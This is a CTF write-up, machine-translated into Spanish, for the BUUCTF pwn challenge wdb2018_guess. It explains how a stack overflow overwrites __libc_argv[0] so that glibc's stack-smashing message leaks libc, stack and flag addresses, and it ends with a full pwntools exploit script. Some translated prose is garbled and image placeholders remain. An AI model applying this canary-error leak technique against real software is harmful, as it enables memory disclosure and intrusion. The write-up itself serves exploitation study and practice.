[BUUCTF] PWN —— wdb2018_guess (aplastamiento de pila - utilización del informe de error de Canary)

wdb2018_guess

  1. La inspección de rutina, el programa de 64 bits, canary y nx están habilitados
    Inserte la descripción de la imagen aquí
  2. Pruébelo localmente para ver la situación general.
    Inserte la descripción de la imagen aquí
  3. Carga ida de 64 bits
    Inserte la descripción de la imagen aquí
    Hay puntos de utilización de desbordamiento, pero hay protección canary. Las funciones de put en las líneas 39 y 41 aquí están codificadas y no se pueden usar para recibir información filtrada. Pensé en usar la salida de error de canary
    para agregar Después de la protección de acarreo, si nuestra entrada cubre el acarreo, el programa reportará un error. El código de error es el siguiente. Puede ver que el programa ejecutará la función __stack_chk_fail para imprimir la cadena apuntada por __libc_argv [ 0] puntero (el programa se almacena por defecto Nombre), por lo que solo necesitamos sobrescribir __libc_argv [0] como la dirección que queremos filtrar, luego se puede filtrar el contenido correspondiente. Este método de uso se detalla en este video , coordenadas aéreas 107: 52
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

Inserte la descripción de la imagen aquí

Usa ideas

  1. Primero calcule el desplazamiento entre la entrada y __libc_argv [0], y sobrescriba __libc_argv [0] como la dirección put_got a través del desbordamiento de la pila, para que se pueda filtrar la dirección libc.
  2. Calcule la dirección de entorno a partir de la dirección de libc (enviorn es la tabla de variables de entorno, que contiene la dirección de la pila) y sobrescriba __libc_argv [0] con la dirección de entorno para filtrar la dirección de la pila.
  3. La bandera se almacena en la pila, y se calcula el desplazamiento entre el entorno y la bandera, y la bandera se puede filtrar sobrescribiendo __libc_argv [0] con la dirección de la bandera.

Proceso de utilización

  1. Encuentre el desplazamiento
    Inserte la descripción de la imagen aquí
    entre el punto de entrada y _libc_argv [0] La distancia entre ellos es 0xdee8-0xddc0 = 0x128
    0x7fffffffdee8 apunta a _libc_argv [0], _libc_argv [0] almacena el nombre de nuestro programa, que no se muestra completamente aquí, La pantalla es como esta
    Inserte la descripción de la imagen aquí
  2. Luego use el desbordamiento de pila para cubrir este lugar ya que put @ consiguió filtrar libc
payload='a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
  1. Calcule la dirección del entorno (enviorn es la tabla de variables de entorno, que contiene la dirección de la pila) y sobrescriba __libc_argv [0] con la dirección del entorno para filtrar la dirección de la pila. Cómo obtener la dirección de la pila a partir de la dirección libc Esta función se escribe en detalle aquí.
libc_base = puts_addr - libc.dump('puts')
environ_addr = libc_base + libc.dump('__environ')
print 'environ_addr=',hex(environ_addr)

payload='a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',payload)

p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
  1. Después de obtener la dirección de la pila, busque el desplazamiento entre ella y la dirección de la bandera, y sobrescriba __libc_argv [0] con la dirección de la bandera
    . Al ajustar, ingrese x / a _environ para obtener la dirección del entorno actual, y la
    Inserte la descripción de la imagen aquí
    bandera de búsqueda para obtener el bandera. En la dirección de la pila,
    Inserte la descripción de la imagen aquí
    calcule el desplazamiento: 0x7ffe4e6a7ea8-0x7ffe4e6a7d40 = 0x168

Exp completa

#coding:utf8
from pwn import *
from LibcSearcher import *

p = process('./GUESS')
#p = remote('node3.buuoj.cn',28998)
elf = ELF('./GUESS')
puts_got = elf.got['puts']
context.log_level="debug"

#泄露puts地址
payload='a'*0x128 + p64(puts_got)
p.sendlineafter('Please type your guessing flag',payload)
p.recvuntil('stack smashing detected ***: ')
puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc=ELF('./libc-2.23(64).so')

libc_base = puts_addr - libc.sym['puts']
environ_addr = libc_base + libc.sym['__environ']
print 'environ_addr=',hex(environ_addr)

#泄露栈地址
payload='a'*0x128 + p64(environ_addr)
p.sendlineafter('Please type your guessing flag',payload)

p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'stack_addr=',hex(stack_addr)
gdb.attach(p)
flag_addr = stack_addr - 0x168
print 'flag_addr=',hex(flag_addr)
#泄露flag
payload='a'*0x128 + p64(flag_addr)
p.sendlineafter('Please type your guessing flag',payload)

p.interactive()

Inserte la descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/mcmuyanga/article/details/114789897
Recomendado
Clasificación